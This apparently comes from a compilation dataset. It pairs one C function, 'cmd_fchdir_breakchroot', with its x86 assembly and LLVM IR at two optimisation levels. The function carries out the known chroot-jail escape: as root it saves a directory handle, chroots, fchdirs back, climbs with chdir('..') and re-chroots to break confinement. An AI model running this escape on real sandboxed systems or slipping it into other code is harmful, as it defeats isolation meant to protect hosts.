#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct stat {
  int /*<<< orphan*/ st_mode;
};

/* Variables and functions */
int /*<<< orphan*/ O_RDONLY;
int /*<<< orphan*/ S_ISDIR(int /*<<< orphan*/);
int /*<<< orphan*/ chdir(char *);
int chroot(char *);
int /*<<< orphan*/ close(int);
int fchdir(int);
scalar_t__ getuid();
int open(char *, int /*<<< orphan*/);
int /*<<< orphan*/ perror(char *);
int /*<<< orphan*/ printf(char *, ...);
scalar_t__ stat(char *, struct stat *);
void cmd_fchdir_breakchroot(int argc, char *argv[]) {
  int loop;
  int dir_fd;
  struct stat sstat;
  if (getuid()) {
    printf("Not root...\n");
    return;
  }
  if (stat(argv[1], &sstat) < 0) {
    perror("stat");
    return;
  }
  if (!S_ISDIR(sstat.st_mode)) {
    printf("%s is not a directory.\n", argv[1]);
    return;
  }
  if ((dir_fd = open(".", O_RDONLY)) == -1) {
    perror("open");
    return;
  }
  if (chroot(argv[1]) == -1) {
    perror("chroot");
    return;
  }
  if (fchdir(dir_fd) == -1) {
    perror("fchdir");
    return;
  }
  close(dir_fd);
  for (loop = 0; loop < 256; loop++)
    chdir("..");
  chroot(".");
}


x86 assembly (clang, -O0):
<cmd_fchdir_breakchroot>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
mov    $0x0,%al
call   1050 <getuid@plt>
cmp    $0x0,%rax
je     11d3 <cmd_fchdir_breakchroot+0x33>
lea    0xe39(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
jmp    12e8 <cmd_fchdir_breakchroot+0x148>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
lea    -0x20(%rbp),%rsi
call   1090 <stat@plt>
cmp    $0x0,%rax
jge    11ff <cmd_fchdir_breakchroot+0x5f>
lea    0xe18(%rip),%rdi
call   10c0 <perror@plt>
jmp    12e8 <cmd_fchdir_breakchroot+0x148>
mov    -0x20(%rbp),%edi
call   1070 <S_ISDIR@plt>
cmp    $0x0,%eax
jne    122b <cmd_fchdir_breakchroot+0x8b>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rsi
lea    0xdf3(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
jmp    12e8 <cmd_fchdir_breakchroot+0x148>
mov    0x2db6(%rip),%rax
mov    (%rax),%esi
lea    0xe03(%rip),%rdi
call   10b0 <open@plt>
mov    %eax,-0x18(%rbp)
cmp    $0xffffffff,%eax
jne    125d <cmd_fchdir_breakchroot+0xbd>
lea    0xdd7(%rip),%rdi
call   10c0 <perror@plt>
jmp    12e8 <cmd_fchdir_breakchroot+0x148>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
call   1030 <chroot@plt>
cmp    $0xffffffff,%eax
jne    1284 <cmd_fchdir_breakchroot+0xe4>
lea    0xdb5(%rip),%rdi
call   10c0 <perror@plt>
jmp    12e8 <cmd_fchdir_breakchroot+0x148>
mov    -0x18(%rbp),%edi
call   10a0 <fchdir@plt>
cmp    $0xffffffff,%eax
jne    12a6 <cmd_fchdir_breakchroot+0x106>
lea    0xd9a(%rip),%rdi
call   10c0 <perror@plt>
jmp    12e8 <cmd_fchdir_breakchroot+0x148>
mov    -0x18(%rbp),%edi
call   1080 <close@plt>
movl   $0x0,-0x14(%rbp)
cmpl   $0x100,-0x14(%rbp)
jge    12dc <cmd_fchdir_breakchroot+0x13c>
lea    0xd74(%rip),%rdi
call   1040 <chdir@plt>
mov    -0x14(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x14(%rbp)
jmp    12b5 <cmd_fchdir_breakchroot+0x115>
lea    0xd5b(%rip),%rdi
call   1030 <chroot@plt>
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<cmd_fchdir_breakchroot>:
push   %rbp
push   %rbx
push   %rax
mov    %rsi,%rbx
xor    %eax,%eax
call   1060 <getuid@plt>
test   %rax,%rax
je     11d4 <cmd_fchdir_breakchroot+0x24>
lea    0xe67(%rip),%rdi
add    $0x8,%rsp
pop    %rbx
pop    %rbp
jmp    1040 <puts@plt>
mov    0x8(%rbx),%rdi
mov    %rsp,%rsi
call   10a0 <stat@plt>
test   %rax,%rax
js     1274 <cmd_fchdir_breakchroot+0xc4>
mov    (%rsp),%edi
call   1080 <S_ISDIR@plt>
test   %eax,%eax
je     125b <cmd_fchdir_breakchroot+0xab>
mov    0x2dec(%rip),%rax
mov    (%rax),%esi
lea    0xe35(%rip),%rdi
call   10c0 <open@plt>
cmp    $0xffffffff,%eax
je     1282 <cmd_fchdir_breakchroot+0xd2>
mov    %eax,%ebp
mov    0x8(%rbx),%rdi
call   1030 <chroot@plt>
cmp    $0xffffffff,%eax
je     1290 <cmd_fchdir_breakchroot+0xe0>
mov    %ebp,%edi
call   10b0 <fchdir@plt>
cmp    $0xffffffff,%eax
je     129e <cmd_fchdir_breakchroot+0xee>
mov    %ebp,%edi
call   1090 <close@plt>
mov    $0x100,%ebp
lea    0xdfb(%rip),%rbx
xchg   %ax,%ax
mov    %rbx,%rdi
call   1050 <chdir@plt>
add    $0xffffffff,%ebp
jne    1240 <cmd_fchdir_breakchroot+0x90>
lea    0xde6(%rip),%rdi
call   1030 <chroot@plt>
jmp    126d <cmd_fchdir_breakchroot+0xbd>
mov    0x8(%rbx),%rsi
lea    0xd9f(%rip),%rdi
xor    %eax,%eax
call   1070 <printf@plt>
add    $0x8,%rsp
pop    %rbx
pop    %rbp
ret
lea    0xd85(%rip),%rdi
call   10d0 <perror@plt>
jmp    126d <cmd_fchdir_breakchroot+0xbd>
lea    0xd94(%rip),%rdi
call   10d0 <perror@plt>
jmp    126d <cmd_fchdir_breakchroot+0xbd>
lea    0xd8b(%rip),%rdi
call   10d0 <perror@plt>
jmp    126d <cmd_fchdir_breakchroot+0xbd>
lea    0xd84(%rip),%rdi
call   10d0 <perror@plt>
jmp    126d <cmd_fchdir_breakchroot+0xbd>

LLVM IR (-O0):
%struct.stat = type { i32 }
@.str = [13 x i8] c"Not root...\0A\00"
@.str.1 = [5 x i8] c"stat\00"
@.str.2 = [24 x i8] c"%s is not a directory.\0A\00"
@.str.3 = [2 x i8] c".\00"
@O_RDONLY = global i32 0
@.str.4 = [5 x i8] c"open\00"
@.str.5 = [7 x i8] c"chroot\00"
@.str.6 = [7 x i8] c"fchdir\00"
@.str.7 = [3 x i8] c"..\00"
define void @cmd_fchdir_breakchroot(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i8**
%5 = alloca i32
%6 = alloca i32
%7 = alloca %struct.stat
store i32 %0, i32* %3
store i8** %1, i8*** %4
%8 = call i64 (...) @getuid()
%9 = icmp ne i64 %8, 0
br i1 %9, label %10, label %12
10: ; preds = %2
%11 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str, i64 0, i64 0))
br label %63
12: ; preds = %2
%13 = load i8**, i8*** %4
%14 = getelementptr inbounds i8*, i8** %13, i64 1
%15 = load i8*, i8** %14
%16 = call i64 @stat(i8* %15, %struct.stat* %7)
%17 = icmp slt i64 %16, 0
br i1 %17, label %18, label %20
18: ; preds = %12
%19 = call i32 @perror(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.1, i64 0, i64 0))
br label %63
20: ; preds = %12
%21 = getelementptr inbounds %struct.stat, %struct.stat* %7, i32 0, i32 0
%22 = load i32, i32* %21
%23 = call i32 @S_ISDIR(i32 %22)
%24 = icmp ne i32 %23, 0
br i1 %24, label %30, label %25
25: ; preds = %20
%26 = load i8**, i8*** %4
%27 = getelementptr inbounds i8*, i8** %26, i64 1
%28 = load i8*, i8** %27
%29 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.2, i64 0, i64 0), i8* %28)
br label %63
30: ; preds = %20
%31 = load i32, i32* @O_RDONLY
%32 = call i32 @open(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.3, i64 0, i64 0), i32 %31)
store i32 %32, i32* %6
%33 = icmp eq i32 %32, -1
br i1 %33, label %34, label %36
34: ; preds = %30
%35 = call i32 @perror(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.4, i64 0, i64 0))
br label %63
36: ; preds = %30
%37 = load i8**, i8*** %4
%38 = getelementptr inbounds i8*, i8** %37, i64 1
%39 = load i8*, i8** %38
%40 = call i32 @chroot(i8* %39)
%41 = icmp eq i32 %40, -1
br i1 %41, label %42, label %44
42: ; preds = %36
%43 = call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.5, i64 0, i64 0))
br label %63
44: ; preds = %36
%45 = load i32, i32* %6
%46 = call i32 @fchdir(i32 %45)
%47 = icmp eq i32 %46, -1
br i1 %47, label %48, label %50
48: ; preds = %44
%49 = call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.6, i64 0, i64 0))
br label %63
50: ; preds = %44
%51 = load i32, i32* %6
%52 = call i32 @close(i32 %51)
store i32 0, i32* %5
br label %53
53: ; preds = %58, %50
%54 = load i32, i32* %5
%55 = icmp slt i32 %54, 256
br i1 %55, label %56, label %61
56: ; preds = %53
%57 = call i32 @chdir(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.7, i64 0, i64 0))
br label %58
58: ; preds = %56
%59 = load i32, i32* %5
%60 = add nsw i32 %59, 1
store i32 %60, i32* %5
br label %53
61: ; preds = %53
%62 = call i32 @chroot(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.3, i64 0, i64 0))
br label %63
63: ; preds = %61, %48, %42, %34, %25, %18, %10
ret void
}

LLVM IR (-O2):
%struct.stat = type { i32 }
@.str.1 = [5 x i8] c"stat\00"
@.str.2 = [24 x i8] c"%s is not a directory.\0A\00"
@.str.3 = [2 x i8] c".\00"
@O_RDONLY = global i32 0
@.str.4 = [5 x i8] c"open\00"
@.str.5 = [7 x i8] c"chroot\00"
@.str.6 = [7 x i8] c"fchdir\00"
@.str.7 = [3 x i8] c"..\00"
@str = [12 x i8] c"Not root...\00"
define void @cmd_fchdir_breakchroot(i32 %0, i8** nocapture %1) {
%3 = alloca %struct.stat
%4 = bitcast %struct.stat* %3 to i8*
%5 = tail call i64 (...) @getuid()
%6 = icmp eq i64 %5, 0
br i1 %6, label %9, label %7
7: ; preds = %2
%8 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([12 x i8], [12 x i8]* @str, i64 0, i64 0))
br label %50
9: ; preds = %2
%10 = getelementptr inbounds i8*, i8** %1, i64 1
%11 = load i8*, i8** %10
%12 = call i64 @stat(i8* %11, %struct.stat* %3)
%13 = icmp slt i64 %12, 0
br i1 %13, label %14, label %16
14: ; preds = %9
%15 = call i32 @perror(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.1, i64 0, i64 0))
br label %50
16: ; preds = %9
%17 = getelementptr inbounds %struct.stat, %struct.stat* %3, i64 0, i32 0
%18 = load i32, i32* %17
%19 = call i32 @S_ISDIR(i32 %18)
%20 = icmp eq i32 %19, 0
br i1 %20, label %21, label %24
21: ; preds = %16
%22 = load i8*, i8** %10
%23 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([24 x i8], [24 x i8]* @.str.2, i64 0, i64 0), i8* %22)
br label %50
24: ; preds = %16
%25 = load i32, i32* @O_RDONLY
%26 = call i32 @open(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.3, i64 0, i64 0), i32 %25)
%27 = icmp eq i32 %26, -1
br i1 %27, label %28, label %30
28: ; preds = %24
%29 = call i32 @perror(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.4, i64 0, i64 0))
br label %50
30: ; preds = %24
%31 = load i8*, i8** %10
%32 = call i32 @chroot(i8* %31)
%33 = icmp eq i32 %32, -1
br i1 %33, label %34, label %36
34: ; preds = %30
%35 = call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.5, i64 0, i64 0))
br label %50
36: ; preds = %30
%37 = call i32 @fchdir(i32 %26)
%38 = icmp eq i32 %37, -1
br i1 %38, label %39, label %41
39: ; preds = %36
%40 = call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.6, i64 0, i64 0))
br label %50
41: ; preds = %36
%42 = call i32 @close(i32 %26)
br label %43
43: ; preds = %41, %43
%44 = phi i32 [ 0, %41 ], [ %46, %43 ]
%45 = call i32 @chdir(i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.7, i64 0, i64 0))
%46 = add nuw nsw i32 %44, 1
%47 = icmp eq i32 %46, 256
br i1 %47, label %48, label %43
48: ; preds = %43
%49 = call i32 @chroot(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.3, i64 0, i64 0))
br label %50
50: ; preds = %48, %39, %34, %28, %21, %14, %7
ret void
}